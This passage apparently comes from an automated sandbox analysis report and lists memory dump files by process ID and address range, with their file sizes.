                                                                                                                      • memory/2808-42-0x0000000002DF0000-0x0000000002E70000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2984-14-0x0000000010000000-0x00000000105D7000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.8MB

                                                                                                                      • memory/3060-130-0x0000000074420000-0x00000000749CB000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/3060-121-0x00000000015D0000-0x0000000001610000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/3060-126-0x00000000015D0000-0x0000000001610000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/3060-125-0x00000000015D0000-0x0000000001610000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/3060-122-0x0000000074420000-0x00000000749CB000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/3060-120-0x0000000074420000-0x00000000749CB000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB